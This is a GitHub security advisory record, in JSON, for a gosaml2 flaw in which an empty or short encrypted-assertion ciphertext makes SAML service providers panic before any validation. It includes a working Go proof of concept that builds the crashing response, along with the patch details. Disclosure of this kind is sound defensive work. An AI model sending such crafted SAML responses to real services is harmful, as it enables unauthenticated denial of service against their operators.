{"id":"GHSA-5hj8-q7fv-qrj6","summary":"gosaml2: Unauthenticated panic decrypting an EncryptedAssertion with a short or empty CipherValue","details":"### Summary\n\nAn attacker who can supply a crafted SAML Response for parsing can crash a `gosaml2` service provider by sending an `EncryptedAssertion` with AES-GCM encryption metadata and a `CipherValue` shorter than the GCM nonce size (12 bytes). The library panics with `slice bounds out of range` before any validation completes.\n\nThis is a **distinct issue from [GHSA-hwqm-qvj9-4jr2](https://github.com/russellhaering/gosaml2/security/advisories/GHSA-hwqm-qvj9-4jr2)**, which addressed panics in the AES-CBC decryption path (commit [`3418f9ae09063ff8df0ce1bd93f24e538e614def`](https://github.com/russellhaering/gosaml2/commit/3418f9ae09063ff8df0ce1bd93f24e538e614def), included in `v0.10.0`). That fix added a block-size check for CBC but left the AES-GCM path completely unprotected.\n\n### Details\n\n`ValidateEncodedResponse()` decrypts `EncryptedAssertion` nodes before signature or content validation completes. There are two call sites:\n\n1. **Signed Response branch** -- [`decode_response.go#L341`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L341)\n2. **Unsigned Response branch** -- [`decode_response.go#L388`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L388)\n\nBoth call `decryptAssertions()` ([`decode_response.go#L150-L200`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L150-L200)), which calls `EncryptedAssertion.DecryptBytes()` at [`decode_response.go#L176`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L176).\n\nInside `DecryptBytes()` ([`types/encrypted_assertion.go#L34-L92`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L34-L92)), the AES-GCM branch ([line 53, `case MethodAES128GCM, MethodAES192GCM, MethodAES256GCM:`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L53)) slices the decoded ciphertext without checking its length at [line 59](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L59):\n\n```go\nnonce, data := data[:c.NonceSize()], data[c.NonceSize():]\n```\n\nIf `CipherValue` decodes to fewer than 12 bytes (GCM nonce size), Go panics with `slice bounds out of range`. All three GCM key sizes (AES-128-GCM, AES-192-GCM, AES-256-GCM) share the same vulnerable branch.\n\n**Comparison with the patched CBC path:** The CBC branch (lines 65-88 of the same file) correctly checks `len(data) % k.BlockSize() != 0` before slicing -- this was the fix for GHSA-hwqm-qvj9-4jr2. The GCM branch has no equivalent guard.\n\nThe attacker only needs the SP's public certificate (typically available in SAML metadata) to wrap a symmetric key via RSA-OAEP. The `CipherValue` for the assertion body can be left empty. No valid signature is required.\n\n### PoC\n\nTest environment:\n- Apple M4 (arm64)\n- Go 1.26.1\n- `gosaml2` v0.11.0 (commit `636e7dda202a4d669644e72404a82616ffcbe004`)\n\nSelf-contained reproduction:\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"os\"\n\t\"time\"\n\n\tsaml2 \"github.com/russellhaering/gosaml2\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\t// Generate a throwaway SP key pair.\n\tkey, _ := rsa.GenerateKey(rand.Reader, 2048)\n\ttmpl := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tSubject:      pkix.Name{CommonName: \"sp.example\"},\n\t\tNotBefore:    time.Now().Add(-time.Hour),\n\t\tNotAfter:     time.Now().Add(time.Hour),\n\t}\n\tcertDER, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)\n\tcert := tls.Certificate{\n\t\tCertificate: [][]byte{certDER},\n\t\tPrivateKey:  key,\n\t}\n\n\t// Wrap an attacker-chosen symmetric key with the SP's public cert.\n\tsymKey := make([]byte, 16)\n\twrappedKey, _ := rsa.EncryptOAEP(sha1.New(), rand.Reader, &key.PublicKey, symKey, nil)\n\n\tresponseXML := fmt.Sprintf(`\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csaml2p:Response xmlns:saml2p=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n    xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n    Version=\"2.0\" ID=\"_id\" IssueInstant=\"2026-03-19T00:00:00Z\"\u003e\n  \u003csaml2:Issuer\u003eissuer.example\u003c/saml2:Issuer\u003e\n  \u003csaml2p:Status\u003e\n    \u003csaml2p:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\"/\u003e\n  \u003c/saml2p:Status\u003e\n  \u003csaml2:EncryptedAssertion\u003e\n    \u003cxenc:EncryptedData xmlns:xenc=\"http://www.w3.org/2001/04/xmlenc#\"\u003e\n      \u003cxenc:EncryptionMethod Algorithm=\"http://www.w3.org/2009/xmlenc11#aes128-gcm\"/\u003e\n      \u003cxenc:CipherData\u003e\u003cxenc:CipherValue\u003e\u003c/xenc:CipherValue\u003e\u003c/xenc:CipherData\u003e\n      \u003cxenc:KeyInfo\u003e\n        \u003cxenc:EncryptedKey\u003e\n          \u003cxenc:EncryptionMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p\"/\u003e\n          \u003cxenc:CipherData\u003e\u003cxenc:CipherValue\u003e%s\u003c/xenc:CipherValue\u003e\u003c/xenc:CipherData\u003e\n        \u003c/xenc:EncryptedKey\u003e\n      \u003c/xenc:KeyInfo\u003e\n    \u003c/xenc:EncryptedData\u003e\n  \u003c/saml2:EncryptedAssertion\u003e\n\u003c/saml2p:Response\u003e`, base64.StdEncoding.EncodeToString(wrappedKey))\n\n\tencodedResponse := base64.StdEncoding.EncodeToString([]byte(responseXML))\n\tsp := &saml2.SAMLServiceProvider{\n\t\tAssertionConsumerServiceURL: \"https://sp.example/acs\",\n\t\tSPKeyStore:                  dsig.TLSCertKeyStore(cert),\n\t}\n\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tfmt.Printf(\"panic: %v\\n\", r)\n\t\t\tos.Exit(0)\n\t\t}\n\t\tfmt.Println(\"no panic\")\n\t\tos.Exit(1)\n\t}()\n\n\t_, err := sp.ValidateEncodedResponse(encodedResponse)\n\tfmt.Printf(\"returned err: %v\\n\", err)\n}\n```\n\nObserved output:\n\n```text\npanic: runtime error: slice bounds out of range [:12] with capacity 0\n```\n\n### Impact\n\nAn attacker who can supply a crafted SAML Response for parsing can crash the service provider process with a single small payload. The library does not use `recover()`, so the panic propagates and terminates the goroutine. The crash happens before any response validation completes, so no valid IdP relationship or signature is required.\n\n### Suggested Fix\n\nAdd a ciphertext length check before splitting out the GCM nonce, matching the defensive pattern already used in the CBC branch:\n\n```go\nif len(data) \u003c c.NonceSize() {\n    return nil, fmt.Errorf(\"encrypted data is too short for AES-GCM nonce\")\n}\n```\n\n\n### Addendum: the CBC path was also affected\n\nThis advisory originally described the AES-GCM branch only, and stated that the CBC branch was correctly guarded by the fix for GHSA-hwqm-qvj9-4jr2. That turned out to be incomplete. The CBC guard was:\n\n```go\nif len(data)%k.BlockSize() != 0 {\n\treturn nil, fmt.Errorf(...)\n}\nnonce, data := data[:k.BlockSize()], data[k.BlockSize():]\n```\n\n`0 % 16 == 0`, so an **empty** `CipherValue` passes the modulo check and panics on the following slice with `slice bounds out of range [:16] with capacity 0`. The earlier fix addressed a later panic in the padding-length read, not this one.\n\nThat second case was reported independently by @ericchiang and is merged into this advisory. Both researchers are credited as reporters above. Both branches now carry explicit length checks.\n\n### Patch\n\nFixed in v0.12.0 by https://github.com/russellhaering/gosaml2/pull/281, which adds `len(data) \u003c c.NonceSize()` before the GCM slice and `len(data) \u003c k.BlockSize()` before the CBC slice.","aliases":["CVE-2026-128073"],"modified":"2026-11-19T21:00:03.957442544Z","published":"2026-11-19T20:49:36Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-19T20:49:36Z","nvd_published_at":"2026-11-17T20:17:42Z","cwe_ids":["CWE-20","CWE-248"]},"references":[{"type":"WEB","url":"https://github.com/russellhaering/gosaml2/security/advisories/GHSA-5hj8-q7fv-qrj6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128073"},{"type":"WEB","url":"https://github.com/russellhaering/gosaml2/pull/281"},{"type":"WEB","url":"https://github.com/russellhaering/gosaml2/commit/b2bd784b196b21f606faaa6a4eeae929bd75aa20"},{"type":"PACKAGE","url":"https://github.com/russellhaering/gosaml2"},{"type":"WEB","url":"https://github.com/russellhaering/gosaml2/releases/tag/v0.12.0"}],"affected":[{"package":{"name":"github.com/russellhaering/gosaml2","ecosystem":"Go","purl":"pkg:golang/github.com/russellhaering/gosaml2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.12.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.11.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5hj8-q7fv-qrj6/GHSA-5hj8-q7fv-qrj6.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}